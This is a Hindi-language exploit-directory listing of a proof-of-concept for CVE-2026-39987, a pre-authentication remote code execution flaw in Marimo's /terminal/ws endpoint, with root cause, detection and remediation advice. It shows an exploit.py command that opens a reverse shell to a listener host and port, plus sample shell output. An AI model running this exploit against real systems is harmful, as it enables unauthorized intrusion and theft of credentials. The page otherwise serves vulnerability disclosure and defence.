Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-39987 — Marimo प्री-ऑथेंटिकेशन RCE के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। बिना प्रमाणीकरण के /terminal/ws WebSocket एंडपॉइंट का उपयोग करके एक PTY स्पॉन करता है और एक रिवर्स शेल स्थापित करता है। | Kitploit
उपकरण/GitHubGitHub/k3ystr0k3r/cve-2026-39987
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Marimo प्री-ऑथेंटिकेशन RCE के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। बिना प्रमाणीकरण के /terminal/ws WebSocket एंडपॉइंट का उपयोग करके एक PTY स्पॉन करता है और एक रिवर्स शेल स्थापित करता है।

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-39987 — Marimo प्री-ऑथेंटिकेशन RCE

CVE CVSS CWE Marimo

CVE-2026-39987 एक गंभीर प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो Marimo, एक रिएक्टिव Python नोटबुक वातावरण, को प्रभावित करती है।

यह भेद्यता Marimo के टर्मिनल WebSocket एंडपॉइंट में मौजूद है:

root@kitploit:~
/terminal/ws

एंडपॉइंट टर्मिनल सत्र बनाने से पहले प्रमाणीकरण को सही ढंग से लागू करने में विफल रहा। इसके परिणामस्वरूप, एक अनधिकृत दूरस्थ हमलावर जो किसी भेद्य Marimo इंस्टेंस तक पहुँच सकता है, WebSocket कनेक्शन स्थापित करके एक इंटरैक्टिव PTY शेल प्राप्त कर सकता है।

किसी वैध क्रेडेंशियल की आवश्यकता नहीं है।


भेद्यता सारांश

गुणमान
CVECVE-2026-39987
उत्पादMarimo
भेद्यताप्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन
हमला वेक्टरनेटवर्क
प्रमाणीकरणआवश्यक नहीं
उपयोगकर्ता सहभागिताआवश्यक नहीं
CWECWE-306 — महत्वपूर्ण फ़ंक्शन के लिए लापता प्रमाणीकरण
गंभीरतागंभीर
फिक्स्ड संस्करण0.23.0

यह भेद्यता Marimo के WebSocket एंडपॉइंट्स के बीच असंगत प्रमाणीकरण प्रवर्तन के कारण उत्पन्न हुई थी।

जहाँ अन्य WebSocket कार्यक्षमता प्रमाणीकरण सत्यापन करती है, वहीं भेद्य /terminal/ws एंडपॉइंट बिना पहले कॉलर को सत्यापित किए कनेक्शन स्वीकार कर सकता था।


मूल कारण

भेद्य टर्मिनल एंडपॉइंट WebSocket कनेक्शन स्वीकार करने के बाद एक इंटरैक्टिव PTY बनाता है।

अवधारणात्मक रूप से, भेद्य अनुरोध प्रवाह इस प्रकार है:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

महत्वपूर्ण सुरक्षा सीमा लापता प्रमाणीकरण जाँच है।

मनमाना कमांड निष्पादन उजागर करने वाले एंडपॉइंट को किसी अनधिकृत क्लाइंट को PTY निर्माण लॉजिक तक पहुँचने की अनुमति नहीं देनी चाहिए।


प्रभाव

सफल शोषण Marimo प्रोसेस के विशेषाधिकारों के साथ मनमाना कमांड निष्पादन प्रदान कर सकता है।

परिनियोजन कॉन्फ़िगरेशन के आधार पर, यह एक हमलावर को निम्न कार्य करने की अनुमति दे सकता है:

  • मनमाना ऑपरेटिंग-सिस्टम कमांड निष्पादित करना
  • एप्लिकेशन फ़ाइलें पढ़ना
  • पर्यावरण चर तक पहुँचना
  • Marimo प्रोसेस के लिए उपलब्ध क्रेडेंशियल तक पहुँचना
  • कंटेनर में माउंट की गई फ़ाइलों तक पहुँचना
  • आगे किसी आंतरिक वातावरण में पिवट करना
  • अत्यधिक विशेषाधिकार उपलब्ध होने पर अंतर्निहित होस्ट या कंटेनर से समझौता करना

प्रभाव विशेष रूप से नोटबुक वातावरण के लिए महत्वपूर्ण है क्योंकि उनके पास आमतौर पर डेटासेट, APIs, क्रेडेंशियल, क्लाउड संसाधनों और विकास अवसंरचना तक पहुँच होती है।


प्रूफ ऑफ कॉन्सेप्ट

चेतावनी: PoC को केवल उन्हीं सिस्टमों पर चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं।

यह रिपॉजिटरी नियंत्रित वातावरण में भेद्यता प्रदर्शित करने के लिए एक PoC प्रदान करती है।

नीचे दिया गया उदाहरण किसी स्थानीय/प्रयोगशाला इंस्टेंस के विरुद्ध शोषण प्रदर्शित करता है।

भेद्य लक्ष्य प्रारंभ करें

उदाहरण के लिए:

root@kitploit:~
http://127.0.0.1:8081

PoC लॉन्च करने से पहले भेद्य Marimo इंस्टेंस चालू होना चाहिए।


PoC लॉन्च करें

उदाहरण:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

जहाँ:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

PoC भेद्य टर्मिनल कनेक्शन स्थापित करता है और परिणामी शेल कनेक्शन की प्रतीक्षा करता है।

उदाहरण आउटपुट:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

शेल प्रदर्शन

सफल शोषण के बाद, हमलावर को Marimo प्रोसेस के विशेषाधिकारों के अंतर्गत चलने वाला एक शेल प्राप्त होता है।

वर्तमान उपयोगकर्ता की पहचान करें

root@kitploit:~
whoami

उदाहरण:

root@kitploit:~
marimo

प्रोसेस पहचान सत्यापित करें

root@kitploit:~
id

उदाहरण:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

यह प्रदर्शित करता है कि marimo खाते के रूप में दूरस्थ रूप से मनमाने कमांड निष्पादित किए जा रहे हैं।


फ़ाइल-सिस्टम प्रदर्शन

PoC समझौता किए गए प्रोसेस के लिए उपलब्ध फाइलसिस्टम तक पहुँच भी प्रदर्शित कर सकता है।

root@kitploit:~
ls -la

उदाहरण:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

फाइलसिस्टम रूट पर जाना:

root@kitploit:~
cd /
ls

उदाहरण:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

यह पुष्टि करता है कि दूरस्थ शेल के पास Marimo प्रोसेस के विशेषाधिकारों और कंटेनर प्रतिबंधों के अधीन सामान्य फाइलसिस्टम पहुँच है।


शोषण श्रृंखला

संपूर्ण भेद्यता श्रृंखला को इस प्रकार संक्षेपित किया जा सकता है:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

गंभीर सुरक्षा विफलता चरण 3 पर होती है।


पहचान

शोषण के संभावित संकेतकों में निम्न के लिए अप्रत्याशित WebSocket कनेक्शन शामिल हैं:

root@kitploit:~
/terminal/ws

और Marimo सर्वर से उत्पन्न असामान्य प्रोसेस गतिविधि।

रक्षकों को निम्न की जाँच करनी चाहिए:

  • टर्मिनल WebSocket एंडपॉइंट से अप्रत्याशित कनेक्शन
  • Marimo द्वारा उत्पन्न अप्रत्याशित शेल प्रोसेस
  • संदिग्ध चाइल्ड प्रोसेस
  • अप्रत्याशित आउटबाउंड कनेक्शन
  • संवेदनशील पर्यावरण चर तक पहुँच
  • अप्रत्याशित फ़ाइल-सिस्टम गतिविधि
  • Marimo प्रोसेस द्वारा निष्पादित अज्ञात कमांड

उपचार

Marimo को फिक्स्ड रिलीज़ में अपग्रेड करें:

root@kitploit:~
0.23.0 or later

इसके अतिरिक्त:

  • जब तक आवश्यक न हो, Marimo को सीधे सार्वजनिक इंटरनेट पर एक्सपोज़ न करें।
  • नोटबुक सेवाओं को प्रमाणित रिवर्स प्रॉक्सी के पीछे रखें।
  • नेटवर्क पहुँच को विश्वसनीय उपयोगकर्ताओं और नेटवर्क तक सीमित रखें।
  • Marimo को आवश्यक न्यूनतम विशेषाधिकारों के साथ चलाएँ।
  • कंटेनर में संवेदनशील होस्ट निर्देशिकाओं को माउंट करने से बचें।
  • उन क्रेडेंशियल्स को बदलें जो समझौता किए गए इंस्टेंस के लिए सुलभ रहे हों।
  • संदिग्ध /terminal/ws गतिविधि के लिए लॉग की समीक्षा करें।
  • यह मानने के बजाय कि केवल पैचिंग से हमलावर की दृढ़ता समाप्त हो जाती है, संभावित रूप से समझौता किए गए इंस्टेंस की जाँच करें।

सुरक्षा वर्गीकरण

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

संदर्भ

  • NVD — CVE-2026-39987
  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc
  • Marimo सुरक्षा सलाह और पैच
  • CISA ज्ञात शोषित भेद्यता कैटलॉग

अस्वीकरण

यह प्रोजेक्ट सुरक्षा अनुसंधान, भेद्यता सत्यापन और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।

PoC को उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

टूल डाउनलोड करें